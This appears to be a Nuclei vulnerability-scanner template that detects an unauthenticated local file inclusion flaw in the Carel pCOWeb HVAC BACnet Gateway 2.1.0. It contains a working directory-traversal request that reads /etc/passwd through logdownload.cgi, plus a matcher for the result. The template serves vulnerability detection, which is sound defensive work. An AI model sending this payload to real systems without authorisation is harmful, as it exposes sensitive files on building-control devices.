28 lines
1.1 KiB
YAML
28 lines
1.1 KiB
YAML
id: carel-bacnet-gateway-traversal
|
|
|
|
info:
|
|
name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Local File Inclusion
|
|
author: gy741
|
|
severity: high
|
|
description: Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
|
|
reference:
|
|
- https://www.zeroscience.mk/codes/carelpco_dir.txt
|
|
- https://thecyberpost.com/tools/exploits-cve/carel-pcoweb-hvac-bacnet-gateway-2-1-0-unauthenticated-directory-traversal/
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cwe-id: CWE-22
|
|
tags: carel,lfi,traversal,unauth,bacnet
|
|
metadata:
|
|
max-request: 1
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"
|
|
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|